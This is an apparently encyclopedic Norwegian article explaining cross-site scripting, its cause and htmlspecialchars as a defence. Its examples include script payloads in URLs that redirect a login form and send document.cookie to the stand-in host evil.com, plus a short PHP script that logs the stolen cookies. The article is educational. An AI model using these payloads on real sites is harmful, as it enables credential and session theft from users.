Cross-site scripting

Cross-site scripting, ofte forkortet til XSS, er en teknikk som kan benyttes for å manipulere websider.
 
XSS-hull finnes i dynamiske webapplikasjoner der brukerdata uforsiktig printes tilbake til nettleseren. Årsaken til problemet er at programvareutvikleren ikke prosesserer brukerdata riktig. Skal brukerdata printes tilbake til nettleseren bør for eksempel html tagger fjernes. Det kan gjøres ved å konvertere krokodilletegnene < og > til &lt; og &gt; respektivt slik at nettleseren ikke lenger tolker de som html-tagger men rendrer tegnet visuelt isteden. I PHP kan det gjøres slik: htmlspecialchars($input);

Hackere kan utnytte XSS-hull og:
 utføre phishing-angrep
 stjele cookies (informasjonskapsler)

Sjekkliste for å beskytte seg mot XSS er å filtrere all input fra brukeren,
det vil si HTTP POST, HTTP GET og HTTP COOKIES.

Eksemplene som er vist i denne artikkelen er forsøkt forenklet slik at også ikke-tekniske lesere kan sjekke om et nettsted har XSS-hull.

Eksempel (ikke-teknisk) 
Du har en gjestebok, og noen skriver inn følgende melding til deg:
Hei du! God jul <script>alert("XSS hull!")</script>

 Hvis det kommer opp en meldingsboks når du leser gjesteboken så er den sårbar for XSS.
 Hvis ikke, er brukerinput blitt filtrert før meldingen ble lagret (i en flatfil eller en database).

Eksempel på phishing-angrep (litt teknisk) 
Ta følgende form som et eksempel.
<form action="login.php" method="post">
<input type="text" name="user><br />
<input type="password" name="pass"><br /><br />
<input type="submit" value="Logg inn">
</form>

Ved å forandre «login.php» til «http://evil.com/stjel.php» kan en hacker lagre alle brukernavn og passord som blir lagt inn. En avansert hacker kan automatisere scripet sitt slik at med en gang noen logger inn så blir passordet endret til noe annet.

Eksempel på phishing-angrep i URL (litt teknisk) 
De fleste XSS-hull finner man når man endre på URL-er. Ta denne URL-en:
http://good.com/index.php?msg=Hei du". 
For å bruke eksempelet overfor til å utføre et phishing-angrep kunne man ha oppgitt følgende URL til offeret:
http://good.com/index.php?msg=Hei du<script>document.forms[0].action.value='http://evil.com/stjel.php'</script>

Eksempel på stjeling av cookies (litt teknisk) 
Hvis en hacker vil stjele en annens cookies så kan han sende følgende URL til offeret:
http://good.com/index.php?msg=Hei du<script>document.location.href="http://evil.com/stjel.php?id="+document.cookie</script>
Idet offeret intetanende klikker på linken vil «stjel.php» kalles. Denne kan for eksempel se slik ut:
<?php
$cookies=$_GET['id'];
$fp=fopen("cookies.txt", "a");
fwrite($fp, "Nye cookies: $cookies \n");
?>

Hackeren kan så installere denne cookie-en i egen browser og vil da bli logget inn som offeret.

Eksterne lenker 
 The Cross-Site Scripting (XSS) FAQ @CGISecurity
 Cross-Site Scripting Info @Apache Software Foundation

Datakriminalitet